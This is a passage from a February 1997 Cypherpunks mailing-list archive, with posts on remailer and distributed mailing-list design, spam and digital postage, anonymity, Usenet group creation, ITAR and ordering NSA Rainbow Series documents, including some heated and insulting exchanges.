voter. The problem would be getting the public to recognize the CPA as a key signing authority. This would presumably require a public announcement, the backing of existing trusted users, etc. Personally, I think that the netherlands? toying around with the post office would be ideal for keys used solely for signing. I just wouldn't trust the government to have access to the one I used for encryption. Maybe that's a better idea. Let's all use a government accessable key for signing, making it as long as possible to reduce identity theft. And use homebrew, super encryption for the actual secrecy. Let GAK be our CPA. From vipul at pobox.com Thu Feb 13 12:11:16 1997 From: vipul at pobox.com (Vipul Ved Prakash) Date: Thu, 13 Feb 1997 12:11:16 -0800 (PST) Subject: N.Y. judge rules for Planned Parenthood in web site case Message-ID: <199702132011.MAA10147@toad.com> *** N.Y. judge rules for Planned Parenthood in web site case A federal judge has temporarily stopped an abortion foe from identifying his web site as belonging to Planned Parenthood and selling an anti-abortion book from that home page. The temporary restraining order, issued Wednesday, stops Richard Bucci from identifying his home page as "Planned Parenthood's Home Page" and using "plannedparenthood.com" as a domain name. Planned Parenthood, which has its own web site, sued Bucci for trademark infringement. The next hearing is slated for Feb. 20. For the full text story, see http://www.merc.com/stories/cgi/story.cgi?id=1426121-b7e -- Vipul Ved Prakash | - Electronic Security & Crypto vipul at pobox.com | - Web Objects 91 11 2233328 | - PERL Development 198 Madhuban IP Extension | - Linux & Open Systems Delhi, INDIA 110 092 | - Networked Multimedia From john at cognac.apana.org.au Thu Feb 13 12:11:42 1997 From: john at cognac.apana.org.au (John Pearson) Date: Thu, 13 Feb 1997 12:11:42 -0800 (PST) Subject: alt.cypherpunks Message-ID: <199702132011.MAA10157@toad.com> > Hey, folks, > > I thought all you had to do to create an alt.group was to have a news admin > somewhere just make a group; send out a control message of somekind. I > thought that alt groups didn't have to go through a charter, or voting > process, or anything else. They just happened. > > Then, everyone just has to tell their local news admin that they went to > see it, or they can wait until their news admin sees it flying by, and adds > it to the available groups list at his own discretion. > > It's not like we want comp.cypherpunks or something, with a voting process, > right? > It's not quite that simple. While a "Big 7" group requires CFD, charter and voting, once you pass tthose hurdles you're virtually guaranteed good propagation. alt has no "set" creartion procedure, but your group will not receive good propagation unless the powers that be "approve" of the idea. In this case, the people you have to convince are the news admins who must permit your control message to be honoured; time was most sites ran on autopilot, but joke and badly-named groups mean that most news admins now drop most newgroup messages on the floor. These people hang out in alt.config, and you should propose the group's creation there, followed by a couple of weeks of discussion, hopefully featuring many more supportive messages than non-supportive ones. After that, a newgroup message stands a much better chance. > Cheers, > Bob Hettinga > > > Hip hip, John P. john at huiac.apana.org.au From roach_s at alph.swosu.edu Thu Feb 13 12:11:56 1997 From: roach_s at alph.swosu.edu (Sean Roach) Date: Thu, 13 Feb 1997 12:11:56 -0800 (PST) Subject: Excerpt on SPAM from Edupage, 11 February 1997 Message-ID: <199702132011.MAA10172@toad.com> At 09:23 PM 2/12/97 -0800, jim bell wrote: ... >I decided long ago (okay, well, many months ago) that the "solution" is to >invent a mechanism to allow spammers/advertisers to include a small amount >of ecash as a gift with every spam. I figure that if USnail junk-mailers >are willing to pay $0.32 for postage and probably $0.50 for production, >printing, and labelling costs, all for no guarantees of results, they should >even more happy to pay, say, 10 cents to each recipient. At that rate, an average >person would probably receive enough "spam" to pay for his Internet >account, quite analogous to the way advertiser-supported TV is presented to >the public for no explicit charge. First of all, they don't spend 32 cents per post. They get one of those bulk-mail permits which allows them to send those at a significant savings. The whole package complete with the cheap "Yes, I'll try your service, and send me the free gizmo"/"No, I don't need any more services, but I could use the free gizmo" stickers probably costs well within 50 cents. TV is not a gift per say, though your origional posts, involving a cookie, suggested something closer to TV. Currently, advertiser subsidized services, like hotmail, Yahoo, and similair, are closer in that you get the gift with only the minor distraction of the advertisement. A more functional system might be to include a cryptographic "key" of only a few bytes in the e-mail post that opens some online service of relative value. Along the lines of a hidden, no URL FTP site with all the best downloads. This would not be dependant upon e-cash being in place. Would require that the customer read at least part of the message in order to get the instructions on how to use the key. Prevent the user from just handing out the key to whoever asked as it would probably have a limited lifespan. And give the sender some location from which to conduct polling, headcounts, etc. From EALLENSMITH at ocelot.Rutgers.EDU Thu Feb 13 12:11:59 1997 From: EALLENSMITH at ocelot.Rutgers.EDU (E. Allen Smith) Date: Thu, 13 Feb 1997 12:11:59 -0800 (PST) Subject: Cypherpunks Distributed Remailer (fwd) Message-ID: <199702132011.MAA10175@toad.com> From: IN%"ravage at EINSTEIN.ssz.com" "Jim Choate" 12-FEB-1997 23:19:40.35 To: IN%"cypherpunks at toad.com" CC: Subj: RE: Cypherpunks Distributed Remailer (fwd) Received: from toad.com by mbcl.rutgers.edu (PMDF #12194) id <01IFCGV6E7PC94GG0G at mbcl.rutgers.edu>; Wed, 12 Feb 1997 23:18 EDT Received: (from majordom at localhost) by toad.com (8.7.5/8.7.3) id RAA13474; Wed, 12 Feb 1997 17:59:02 -0800 (PST) Date: Wed, 12 Feb 1997 18:59:05 -0600 (CST) From: Jim Choate Subject: RE: Cypherpunks Distributed Remailer (fwd) Sender: owner-cypherpunks at toad.com To: cypherpunks at toad.com Message-id: <199702130159.RAA13474 at toad.com> X-Envelope-to: EALLENSMITH Precedence: bulk Forwarded message: > Date: Wed, 12 Feb 1997 18:47 EDT > From: "E. Allen Smith" > Subject: Re: Cypherpunks Distributed Remailer (fwd) > > Someone with more experience correct me if I'm wrong (I'm just > starting to learn about mailing list management), but isn't saving > at least the first bounce from a given address good in order to check > what address is the one that's actually bouncing? Admittedly, this only > applies to badly-formed bounces. The rest can just have the address > noted. Hmmm, I can see saving the address causing the bounce in some sort of array that is indexed to the majordomo subscription list for a given remailer. It would not cost anything but overhead to save the entire message. I guess my motivation was not that I cared their mailbox was full or it was a invalid address but that I wouldn't be able to deliver at this time. I just don't see any reason that it helps me to know why they can't receive mail only that they can't. [re: bi-directional news-mail gateways] >> >Want to volunteer? >> >> Give me some idea of how much programming knowledge, time, etcetera >> is required, please, before I can answer. I'd be renting space on some other >> computer (e.g., an account on cyberpass.net) to do it in; the only higher-level >> programming language (i.e., beyond Applesoft Basic) that I know anything of >> is Perl (and I don't know that all that well); and I am somewhat busy with >> other stuff. In other words, it depends. >Hmmm, not shure how much programming it would take - never done it myself. >I think Perl would be an acceptable language. I certainly hope to do the >majority of the scripts on the CDR in Perl myself. Perhaps there is somebody >who knows the fine points of how INN cache's messages. Redbeard and I had a >short discussion about this issue today relating to tracking messages to >reduce mail-loops. I will discuss it with him and see what happens. So far as I can tell, there are two types of news2mail gateways in common usage: newsgate, which is in C, and the standard LISTSERV bit.listserv.* gatewaying. I don't know C and don't have that much reason to learn it (perl makes a lot more sense to me); therefore, I'd need to locate a perl version or let someone else take care of the actual programming end of it, with me just handling what the programming person didn't. Hmm... I wonder if Lance would be available for the programming? I'd probably be using an account on cyberpass.net for the gateway in any event. -Allen From ravage at EINSTEIN.ssz.com Thu Feb 13 12:12:05 1997 From: ravage at EINSTEIN.ssz.com (Jim Choate) Date: Thu, 13 Feb 1997 12:12:05 -0800 (PST) Subject: distributed mailing list architecture (fwd) Message-ID: <199702132012.MAA10181@toad.com> Forwarded message: > Date: Fri, 7 Feb 1997 20:11:15 GMT > From: Adam Back > Subject: distributed mailing list architecture > Igor Chudov writes: > > I'd suggest a simplier solution: to connect each server with a couple, > > or maybe three, other servers. This scheme is rather robust, does not > > consume too much CPU time and bandwidth, and is easy to implement. > > I'm not sure what the architecture you are suggesting is, but this is > what I suggest as the simplest to set up. I envision it to look like a fishnet. > Have one main majordomo. There should be no "one main" anything on this project. > You subscribe to the main majordomo request address, and it forwards > your subscription request to a random mail-exploder. > > You unsubscribe to the main majordomo request address, and it forwards > your subscription to all the mail-exploders request addresses > (unsubscribe traffic is low anyway, keeping track of who is subscribed > where at the main major domo doesn't seem worth it). > > Each person who wishes to run an exploder is subscribed (manually) to > the main majordomo. > > You submit articles to the main majordomo, and it sends copies of the > articles to it's subscribers (the mail-exploders). > > The mail-exploders send mail to the address on their subscriber lists. > > (John Gilmore suggested this architecture, as a simpler alternative). Simpler? Hardly. With the remailer chain proposal we could have a working remailer network up in a couple of more days. What you propose will take weeks to write and debug code and then follow it through. No, this approach is neither simple or efficient. What I call a fishnet toplogy is much cleaner. Each node only has to filter messages where it was in the source chain. Easy to do with procmail, if you look at the first example on the man page, eg how to dump to dev/null, you find a perfect example of what procmail needs to do. It does not need to know who else is on the network (as in a star) and its traffic consists of one copy of each incoming instead of n copies from each of the 'star' remailers plus the outgoing from the local subscribers. A easy protocol can be arranged so that if the downstream remailer breaks it subscribes to the next one in the chain, again easy to do with just a few lines of code... If (bounce count of next site expires) { subscribe backup feed } If (next site returns) { unsubscribe backup feed } As to the actual architecture: A --> D ^ \ ^ \ / v / v C <-- B <-- E ^ | v N (mail-news gateway) Again, several nice features are: * Can be gotten up from a stock majordom/procmail install in a trivial manner * Site only has to filter mail from itself * It only has to keep up with two sites in the network instead of many (support for limited scope and anonymity) * Each site gets a critical feed from only 1 other site so traffic of duplicates is a minimum * Except for sites on the boundary of the net every site has two places to send its output, adding to robustness, if we allow the edges to wrap (eg torus) then no sites have less than 2 other sites to send traffic to. * Supports various levels of encryption or authentication on a link by link basis, not forcing all members to submint to a general architecture * Scales easily, something the star model does not do since hub machines must grow at a rate dependant on the total number of remailers in the chain this equates to mullah and lots of it should the network take off * The actual number of machines in a given chain is flexible, I would guess the number should match a plane tiling figure, triangle (n=3), squares (n=4), or hexagons (n=6) * Traffic analysis and sync floods are harder to impliment in this architecture than a star or hub based network * Supports 'little' machines and operators who are not guru's or have deep pockets Jim Choate CyberTects ravage at ssz.com From attila at primenet.com Thu Feb 13 12:17:44 1997 From: attila at primenet.com (Attila T. Hun) Date: Thu, 13 Feb 1997 12:17:44 -0800 (PST) Subject: (2) More on Digital Postage In-Reply-To: Message-ID: <199702132017.NAA06984@infowest.com> -----BEGIN PGP SIGNED MESSAGE----- on or about 970213:0902 "Timothy C. May" said: +At 5:00 AM +0000 2/13/97, Attila T. Hun wrote: +> unfortunately, until the irresponsible tone down their greed, we +> need the regulation to protect ourselves from the predators. +> +> in other words, I agree with you in my heart, but our society +> refuses to cooperate. +Attila and I have had this disagreement before (last time it involved +Attila's support for curfews). +Attila is free to hire agents to screen his mail so he does not receive +spam. He is not free, in a free society, to force such screeners upon +me. very true. if you if define that your freedom includes the free abuse of your freedoms by others. freedom is a two way street; freedom in my book says that I can do anything I wish which does not infringe on the rights of others. now, that implies that I can _personally_ exact justice on those who violate my space. this is a state of war which even Jim Bell's AP does not cover --AP is just an anonymous and chicken-hearted way of settling the score, and creates its own code even more absurb than the rules coming down from Washington. and, I can not imagine you really believe the basic animals of our society and the predators who attempt to feed upon us all do not need to be restrained in one way or another. you obviously have a solution: your .44 (I prefer a full choke 12 ga pump). maybe the comment in my sig line is an expression of the suppressed feelings of the frustrated members of our society who have been confronted by the inequities of our legal system when they expected redress was their right. +Talking about "irresponsible tones" and "greed" and how we need more +laws to protect ourselves from "predators" sounds more like something +from the Marin County limousine liberal set than from a Utah mountain +man Cypherpunk. I'm shocked, simply shocked. shocked, simply shocked? (:-}) marin county? I'm insulted tell you what: you run afoul of us out here on the "mountain" where there is no need for social niceties --we just call it "range law." ___________________________________________________________attila_____ "Explain to me, slowly and carefully, why if person A, when screwed over on a deal by B; is morally obligated to consult, pay, and defer to, person C for the purpose of seeing justice done; and why person C has any legitimate gripe, if A just hauls off and smacks B around like a dead carp." ___________________________________________________________attila_____ "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: latin1 Comment: No safety this side of the grave. Never was; never will be iQCVAwUBMwN12b04kQrCC2kFAQG8AwP/fT3BgeMG8V9IKOGjFEpI+3gY8F5cSohh 8qqaMrHkYT7UU1WZcO/1pGJyUycvOUgzzlFJoTYZsxP6NvJhpkGopHg31EUBDfC+ 5lFDJR1hlX6ckyL8moDlxi3l0z7Dxf6VO+J5dsCetmJG+QxN7/0PzeplN5oN9Y1V nHzMG5/FD5Y= =G/Ag -----END PGP SIGNATURE----- From tcmay at got.net Thu Feb 13 12:42:28 1997 From: tcmay at got.net (Timothy C. May) Date: Thu, 13 Feb 1997 12:42:28 -0800 (PST) Subject: (2) More on Digital Postage In-Reply-To: Message-ID: At 8:10 PM +0000 2/13/97, Attila T. Hun wrote: >+Attila is free to hire agents to screen his mail so he does not receive >+spam. He is not free, in a free society, to force such screeners upon >+me. > > very true. if you if define that your freedom includes the free > abuse of your freedoms by others. freedom is a two way street; > freedom in my book says that I can do anything I wish which does > not infringe on the rights of others. now, that implies that I can As this relates to "unwanted mail," I think calling this an "abuse of freedom by others" is misleading, and a slippery slope. On this same slippery slope lies the claims by some women, as an example, that images in Playboy "abuse their freedoms" (I'd've thought a different kind of abuse is involved, but I won't get into that here). Is unwanted physical mail also an abuse of freedom? How about unwanted personal letters? How about unwanted conversations in a Cypherpunks meeting? The answer to all of these issues lies outside the State. Invoking the power of Men with Guns to stop these "unwanted contacts" is simply wrong. Attila seems to be arguing that the State has a legitimate role in censoring certain contacts, whereas I argue that technology and contracting can almost always do a better job. I repeat: Attila is free to hire a censor, or nanny, or personal secretary to screen his calls, to sift through his mail to pass on only the most relevant stuff, and so on. Many celebrities and busy people do just this. (In the CompuServe case which triggered this thread, CompuServe certainly could have offered a "filtering" service to its members. This would be unexceptionable, and the right way to go, contractually and technologically.) Attila is not free, in a free society, to claim (*) that his freedoms are being infringed when people send him mail he is not interested in. (* He can certainly _claim_ it, but he cannot bring the State in to enforce his dubious claim about his freedom being infringed.) By the way, I think the "junk fax" and "junk phone call" laws are clearcut violations of the First Amendment. I understand why the herd _wants_ these laws, as it reduces the costs involved in replacing fax paper, running to the telephone only to find someone trying to sell something, etc., but it is quite clearly a prior restraint on speech, however well-intentioned. (There are technological solutions to these problems as well. The laws shield people from having to deal with these solutions, however.) --Tim May Just say "No" to "Big Brother Inside" We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From adam at homeport.org Thu Feb 13 13:06:56 1997 From: adam at homeport.org (Adam Shostack) Date: Thu, 13 Feb 1997 13:06:56 -0800 (PST) Subject: Procmail during the transition, anyone? In-Reply-To: <199702131941.LAA09515@toad.com> Message-ID: <199702132103.QAA12914@homeport.org> A while back, I experimented with a technique for adding an md5 based message-id at the top of my procmailrc. Never got it working. I'll give it another shot middle of March, when I get back from FC '97*, and catch up on stuff. Someone could of course, beat me to it. The flow was: all messages get piped into md5, then use formail to set a new header. Adam Derek Atkins wrote: | Anil Das writes: | | [snip] | > It detects duplicates by Message-Id. | | Unfortunately, the messages that make it through to the cypherpunks | list have their MessageID changed when they get approved. So, | checking for duplicates by MessageID fails, given the current approval | mechanism. :( | | I've informed Sandy of the problem, but he doesn't know how to | preserve the original MessageIDs. | | -derek | | -- | Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory | Member, MIT Student Information Processing Board (SIPB) | URL: http://web.mit.edu/warlord/ PP-ASEL N1NWH | warlord at MIT.EDU PGP key available | -- "It is seldom that liberty of any kind is lost all at once." -Hume From stend at sten.tivoli.com Thu Feb 13 13:10:23 1997 From: stend at sten.tivoli.com (Firebeard) Date: Thu, 13 Feb 1997 13:10:23 -0800 (PST) Subject: Private property & the cypherpunks list(s) In-Reply-To: <199702131504.JAA20582@manifold.algebra.com> Message-ID: >>>>> Igor Chudov @ home writes: IC> This is where the distributed nature of the list comes in. if IC> someone disagrees with Jim's AUP, he or she can use soem other IC> mailing list host. And once I'm up and running, my cypherpunks list server will not be interconnected with any server which has a similar AUP. The implication of the AUP is that if you _don't_ comply with it, you will be blocked. Without such an implication, the AUP is meaningless, and I'm dedicated that there should be no filtering/blocking of any kind, of the list. Persons behaving 'unacceptably' should be handled by social pressures by others in the 'community' of the list, and not by policies of the list operators. -- #include /* Sten Drescher */ Unsolicited bulk email will be stored and handled for a US$500/KB fee. It is by caffeine alone I set my mind in motion, it is by the beans of Java that thoughts acquire speed, the hands acquire shaking, the shaking becomes a warning, it is by caffeine alone I set my mind in motion. -- Carlos Nunes-Ueno, 3/29/95 From mix at earth.wazoo.com Thu Feb 13 13:18:51 1997 From: mix at earth.wazoo.com (Wazoo MixMaster) Date: Thu, 13 Feb 1997 13:18:51 -0800 (PST) Subject: Remailer Network Under Attack Message-ID: <199702132116.OAA21790@earth.wazoo.com> It looks like a new round of attacks against the remailer network is underway. Once again, the provocation is "abuse". Unknown persons have been using anonymous remailers and mail2news gateways to "plant" e-mail addresses in various NGs for the spam-bots to harvest and deluge with spam. The original intention appears to have been to "poison the well" for spammers by planting addresses that they'd get in trouble for sending their junk mail to. It appears that one or more copy-cats is now using the same methodology to plant the addresses of people who they'd like to see spammed. (I'm using the term "plant" rather than "forge" since the messages seem to contain sufficient disclaimers that the From: addresses are not genuine. Sufficient for a normal HUMAN reader, but not an automated address harvester, that is.) Within the last week or so, a chorus of complaints has arisen about this practice, orchestrated by about a half dozen individuals who meet an interesting criteria -- they all hold dual accounts on both Netcom and a small ISP known as DataBasix.com. The scenario is quite similar each time this has happened in the past, such as with the cross-posted pro-smoking/anti-smoking threads last year. One of the complainers politely asks that the abusers be identified and their abuse stop. This is, of course, impossible because the perpetrators are posting anonymously. The second step, which follows the first very closely, is a demand that the remailer be shut down with threats being CCed to sysadmins and upstream providers. Given the variety of addresses being "spam baited", the only logical target of this abuse is the remailers themselves. Both sides of certain heated controversies report being made the target of this spam bait, each side accusing the other of being responsible. The only question is whether the main group of complainers (the Netcom/DataBasix group) are merely innocent bystanders or whether they may have initiated the "abuse" as an excuse to shut down the remailers in furtherance of some unknown agenda. Either that, or someone else is attacking the remailer net and it's just a coincidence that a group fitting such a curious pattern (dual accounts on the same two ISPs) should step in and demand the dismantling of several elements of the remailer/m2n-gateway infrastructure. HYPOTHETICAL QUESTION: Would mentioning the "Reichstag Fire" invoke Godwin's Law prematurely? From homer at lightlink.com Thu Feb 13 13:48:54 1997 From: homer at lightlink.com (Homer W. Smith) Date: Thu, 13 Feb 1997 13:48:54 -0800 (PST) Subject: Remailer Network Under Attack In-Reply-To: <199702132116.OAA21790@earth.wazoo.com> Message-ID: > Given the variety of addresses being "spam baited", the only logical > target of this abuse is the remailers themselves. Both sides of > certain heated controversies report being made the target of this > spam bait, each side accusing the other of being responsible. Allegations of responsibility are a serious charge and should be looked into immediately. GOOD GUYS AND BAD GUYS, circa 12/95 There are two kinds of people in the world. Those that divide people into two kinds and those that don't. With that in mind, I present to you the following over simplification. There are two kinds of people in the world, the good guys and the bad guys. The good guys speak with the Voice of Truth, and the bad guys speak with the Voice of Lies. I believe that anonymity is the foundation of freedom in the known universe. Anonymity is the ability to speak either the voice of truth or the voice of lies without anyone knowing who you are. Accountability is the opposite of Anonymity. Accountability means that everyone knows who said what and can take them to task for it. Both sides can use force to silence the other side, but usually its the bad guys who use force to silence the good guys, good guys use more voice of Truth to expose the bad guys. Although some would claim that in general accountability is a good thing, I would point out that ALL members of the controlling party of the emerging police state are adamantly FOR absolute accountability at all times for all their citizens. That should give one pause to wonder. Anonymity is actually very hard to maintain, and absolute anonymity for all people at all times is very difficult indeed. Therefore by observation a society or oganization is usually operating at some gradient scale of anonymity between the extremes of total anonymity and total non anonymity. It can come to pass that certain gradient levels of anonymity end up benefitting the bad guys more than the good guys. In these situations, the bad guys tend to start winning and the good guys perceive that the bad guys are winning BECAUSE of anonymity. Rather than use the weapon of anonymity themselves to protect against the bad guys, the usual convulsive reaction on the part of the good guys is to try and close down the channels of anonymity to keep the bad guys located and corralled, rather than to open up the channels more and use it themselves. This does not occur to them, or if it does they are beset with visions of the bad guys getting away with more than they are now. The logic for closing down the channels of anonymity goes something like this. Since our country is ruled by an Omni Intelligent and Omni Beneficent God King, if we can track every communication down to the person who said it, the God King will be able to tell the good guys from the bad guys, and silence the bad guys for us. The problem with this logic is that our country is not run by a God King, but by human beings who tend to elect each other into power based on outrageous criteria. As the bad guys see themselves getting corraled with accountability, they simply run for office and get themselves elected into the positions of power where THEY are the ones taking action against the bad guys. Of course they take action against the good guys instead. It is for this reason that the temptation to tighten accountability when anonymity is abused is always an error and leads to a terrible trap worse than any tar pit. Namely only the bad guys get to speak, and the good guys get to remain silent fearing for their lives. Which is why when the police ask if you have something to hide after you have refused to let them spot search your belongings, you must always say, "Of course, I have EVERYTHING to hide. FROM YOU!" Anyhow as an ISP it is my job to provide the channels of communication between people. That's what I do, I provide the CHANNEL. This includes standard accountable channels and not so standard anonymous channels. People who communicate with each other tend to get into fights with each other over what they are communicating about. Usually they take their fights out on each other. But when anonymous channels are used, they can't get to each other, they don't know who each other is, so they take it out on the provider of the channel instead. That's me. It's enough to make you want to throw anonymity in the waste basket. Providing a communication channel is a difficult job, it usually involves a precarious balance between allowing the good guys to speak and making sure the bad guys don't get away with the gold. It is very hard to maintain that balance with both sides pulling and tugging on you because they can't pull and tug on each other. One of the main purposes of the Subscriber Agreement is to make sure that people pull and tug on each other, and leave me out of it even if they got no one to target at the other end. Homer From lucifer at dhp.com Thu Feb 13 14:20:39 1997 From: lucifer at dhp.com (lucifer Anonymous Remailer) Date: Thu, 13 Feb 1997 14:20:39 -0800 (PST) Subject: Firewalls Message-ID: <199702132220.RAA31398@dhp.com> Timmy May proves that the Midwestern gene pool needs some chlorine in it. o o o o o /~> <><><> <> Timmy May o...(\ |||||| || From bgrosman at magna.com.au Thu Feb 13 14:26:19 1997 From: bgrosman at magna.com.au (Benjamin Grosman) Date: Thu, 13 Feb 1997 14:26:19 -0800 (PST) Subject: Transmission of Crypto material and ITAR Message-ID: <2.2.32.19970214173002.00de52a4@magna.com.au> >The answer is that no one knows, but if the doctrines that apply to >cargo in transit between countries applied, there would be no >consequence to it. Of course, that doesn't mean that there will not be >consequences associated with this given U.S. governmental insanity. Or it could be dealt with differently, as with a ship that docks for refueling carrinyg munitions (a catergory shared with crypto), or nuclear waste (not quite, but you get my point...) Ben ---------------------------------------------------------------- Benjamin Grosman - Programmer, Magna Data Internet Solutions Quidquid latine dictum sit, altum viditur. [Whatever is said in Latin sounds profound.] ---------------------------------------------------------------- From janke at unixg.ubc.ca Thu Feb 13 14:27:26 1997 From: janke at unixg.ubc.ca (Leonard Janke) Date: Thu, 13 Feb 1997 14:27:26 -0800 (PST) Subject: Recommendation: Creation of "alt.cypherpunks" In-Reply-To: <199702131535.JAA20917@manifold.algebra.com> Message-ID: ichudov at algebra.com (Igor Chudov @ home) writes: > > Dr.Dimitri Vulis KOTM wrote: > > [...] > > Timmy has a valid point: the reason why a comp.* newsgroup might have less > > cross-posted and "off-topic" crap is because net.cops would be more > > likely to complain to posters' sysadmins. [...] > > As for net.cops, check out what Scott Nudds does in comp.lang.c++ > [...] Yes, Scott Nudds is a good example of how dedicated flamers (or maybe he is just a flamee trying to defend himself, I came too late to say for sure), and those who fuel them on, can cause even a comp.* newsgroup to be as noisy as this list. (Btw, if you think comp.lang.c++ is bad, check out comp.lang.asm.x86, sometime!). I think it is, thus, important to distinguish between noise from "outsiders", and noise caused by "insiders" who actually read the newsgroup but disrupt it for fun or grudges, or what not. A comp.* newsgroup will help reduce the former noise, for the reasons Dr. Vulis cites, but not so much the latter, since many insider trouble-makers are often their own adminstraters or providers, or who have found providers or who now have admins who will not cut them off. That being said, I fully support the idea of a comp.* newgroup, over an alt.* group. The important advantages are the greater propogation many have described, and the reduction in "outsider" noise. I also think that people interested in computing in general might be more likely to stumble onto the newsgroup, since the comp.* hierachy is so much smaller than the alt.* hierachy. I do worry, however, that some of the more mischevious people around this list might try to disrupt the voting process with forged e-mail, or turn the discussion over creation into a less than civil debate. In this unlinkely worst case scenario, however, not much would be lost since we could still fall back to alt.cypherpunks, and it would, later, make for good net.legends. :) To be fair, though, I doubt that anyone would seriously try to disrupt the creation, given the dedication I am seeing people putting into finding a new home (or homes!) for the list, and that there does not seem to be anyone dedicated to distrupting that process as John Gilmore worried there would be. (And I am on the unedited list, too!) Let's give it a shot! Leonard From ravage at einstein.ssz.com Thu Feb 13 14:44:17 1997 From: ravage at einstein.ssz.com (Jim Choate) Date: Thu, 13 Feb 1997 14:44:17 -0800 (PST) Subject: Private property & cypherpunks Message-ID: <199702132250.QAA04963@einstein> Hi, After talking w/ Sten (firebeard) I have agreed to drop the explicit PD proviso. This means the Cypherpunks Distributed Remailer is operaing under the Burne Convention of implicit copyright. This is gonna be fun. Jim Choate CyberTects ravage at ssz.com From gbroiles at netbox.com Thu Feb 13 14:52:58 1997 From: gbroiles at netbox.com (Greg Broiles) Date: Thu, 13 Feb 1997 14:52:58 -0800 (PST) Subject: Private property & the cypherpunks list(s) In-Reply-To: <3302E815.5E66@netbox.com> Message-ID: <3.0.1.32.19970213144604.027ebc5c@mail.io.com> At 09:04 AM 2/13/97 -0600, Igor Chudov @ home wrote: > >This is where the distributed nature of the list comes in. > >if someone disagrees with Jim's AUP, he or she can use soem other >mailing list host. Is this the policy of the majordomo network, that individual list operators can make their own policies for their subscribers, but may not/cannot impose them on other list operators or the other lists' members? It sounds very reasonable, but it would be nice to be clear about whether or not this is the case. Are there any rules (other than "no rules") which apply to all lists/list operators/list subscribers? Can there ever be any? Who would write the rules, and who must agree to them in order for them to take effect? Can individual list operators be forced to or forbidden to "peer" with other machines, or are these "peer" relationships up to each list operator? -- Greg Broiles | US crypto export control policy in a nutshell: gbroiles at netbox.com | http://www.io.com/~gbroiles | Export jobs, not crypto. | From gen2600 at aracnet.com Thu Feb 13 15:10:27 1997 From: gen2600 at aracnet.com (Genocide) Date: Thu, 13 Feb 1997 15:10:27 -0800 (PST) Subject: NSA Rainbow Series. In-Reply-To: <199702130208.SAA29106@trapdoor.aracnet.com> Message-ID: On Wed, 12 Feb 1997, Tobin Fricke wrote: Turns out they were just late in gettin it to me, but I did get it. > > 1-800-688-6115 press 0 or just wait for the operator. My second > > order consisting of posters and video has not arrived either. It has been > > about 6 weeks. The Rainbow order was only 2 weeks. Be prepared that when > > you order the Rainbow series you will be getting a large box.Their are > > something like 30+ booklets in the series. > > There is a set of security posters that include a Santa > > poster.And there is also a video with two films on it (Acess Ins and outs > > adb Acess Control). > > How much does all this stuff from the NSA cost? > > Tobin Fricke > (please reply privately, tobin at mail.edm.net) > > Genocide Head of the Genocide2600 Group ============================================================================ **Coming soon! www.Genocide2600.com! ____________________ *---===| |===---* *---===| Genocide |===---* "Courage is not defined by those who *---===| 2600 |===---* fought and did not fall, but by those *---===|__________________|===---* who fought, fell, and and rose again." Email: gen2600 at aracnet.com Web: http://www.aracnet.com/~gen2600 ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ It is by caffeine alone that I set my mind in motion. It is by the Mountain Dew that the thoughts acquire speed, the lips acquire stains, the stains become a warning. It is by caffeine alone that I set my mind in motion. ================================================================================ From 70401.3161 at CompuServe.COM Thu Feb 13 15:19:13 1997 From: 70401.3161 at CompuServe.COM (KENNETH A. LEONE) Date: Thu, 13 Feb 1997 15:19:13 -0800 (PST) Subject: REMOVE FROM MAILINGS Message-ID: <970213231721_70401.3161_IHD121-1@CompuServe.COM> PLEASE REMOVE MY NAME AND ADDRESS FROM YOUR MAILINGS. THANK YOU From 70401.3161 at CompuServe.COM Thu Feb 13 15:26:15 1997 From: 70401.3161 at CompuServe.COM (KENNETH A. LEONE) Date: Thu, 13 Feb 1997 15:26:15 -0800 (PST) Subject: REMOVE FROM MAILINGS Message-ID: <199702132326.PAA13543@toad.com> PLEASE REMOVE MY NAME AND ADDRESS FROM YOUR MAILINGS. THANK YOU From ravage at einstein.ssz.com Thu Feb 13 15:26:17 1997 From: ravage at einstein.ssz.com (Jim Choate) Date: Thu, 13 Feb 1997 15:26:17 -0800 (PST) Subject: Private property & cypherpunks Message-ID: <199702132326.PAA13544@toad.com> Hi, After talking w/ Sten (firebeard) I have agreed to drop the explicit PD proviso. This means the Cypherpunks Distributed Remailer is operaing under the Burne Convention of implicit copyright. This is gonna be fun. Jim Choate CyberTects ravage at ssz.com From bgrosman at magna.com.au Thu Feb 13 15:26:38 1997 From: bgrosman at magna.com.au (Benjamin Grosman) Date: Thu, 13 Feb 1997 15:26:38 -0800 (PST) Subject: Transmission of Crypto material and ITAR Message-ID: <199702132326.PAA13573@toad.com> >The answer is that no one knows, but if the doctrines that apply to >cargo in transit between countries applied, there would be no >consequence to it. Of course, that doesn't mean that there will not be >consequences associated with this given U.S. governmental insanity. Or it could be dealt with differently, as with a ship that docks for refueling carrinyg munitions (a catergory shared with crypto), or nuclear waste (not quite, but you get my point...) Ben ---------------------------------------------------------------- Benjamin Grosman - Programmer, Magna Data Internet Solutions Quidquid latine dictum sit, altum viditur. [Whatever is said in Latin sounds profound.] ---------------------------------------------------------------- From gbroiles at netbox.com Thu Feb 13 15:26:48 1997 From: gbroiles at netbox.com (Greg Broiles) Date: Thu, 13 Feb 1997 15:26:48 -0800 (PST) Subject: Private property & the cypherpunks list(s) Message-ID: <199702132326.PAA13588@toad.com> At 09:04 AM 2/13/97 -0600, Igor Chudov @ home wrote: > >This is where the distributed nature of the list comes in. > >if someone disagrees with Jim's AUP, he or she can use soem other >mailing list host. Is this the policy of the majordomo network, that individual list operators can make their own policies for their subscribers, but may not/cannot impose them on other list operators or the other lists' members? It sounds very reasonable, but it would be nice to be clear about whether or not this is the case. Are there any rules (other than "no rules") which apply to all lists/list operators/list subscribers? Can there ever be any? Who would write the rules, and who must agree to them in order for them to take effect? Can individual list operators be forced to or forbidden to "peer" with other machines, or 